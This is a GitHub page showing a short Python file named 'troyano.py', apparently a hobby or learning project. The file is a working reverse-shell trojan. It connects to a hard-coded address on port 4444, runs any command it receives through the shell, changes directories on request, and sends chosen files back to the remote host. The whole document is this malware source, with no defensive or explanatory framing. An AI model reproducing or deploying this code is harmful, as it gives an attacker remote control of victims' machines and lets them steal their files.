-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathtroyano.py
58 lines (47 loc) · 1.59 KB
/
troyano.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import subprocess
import os
conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conexion.connect(("192.168.1.10", 4444))
def ejecutar_comando(comando):
try:
resultado = subprocess.check_output(comando, shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
return resultado
except Exception as e:
return str(e).encode()
def cambiar_directorio(path):
try:
os.chdir(path)
return "[+] Cambiando a {}".format(os.getcwd())
except Exception as e:
return str(e).encode()
def enviar_archivo(path):
try:
with open(path, "rb") as file:
contenido = file.read(1024)
while contenido:
conexion.send(contenido)
contenido = file.read(1024)
return "[+] Envío completo"
except Exception as e:
return str(e).encode()
while True:
comando = conexion.recv(1024).decode()
if comando.lower() == "exit":
conexion.close()
break
elif comando.startswith("cd"):
mensaje = cambiar_directorio(comando[3:])
conexion.send(mensaje.encode())
elif comando.startswith("download"):
file_path = comando.split(" ")[1]
mensaje = enviar_archivo(file_path)
conexion.send(mensaje.encode())
else:
res = ejecutar_comando(comando)
conexion.send(res)
except Exception as e:
print("Error:", str(e))
finally:
conexion.close()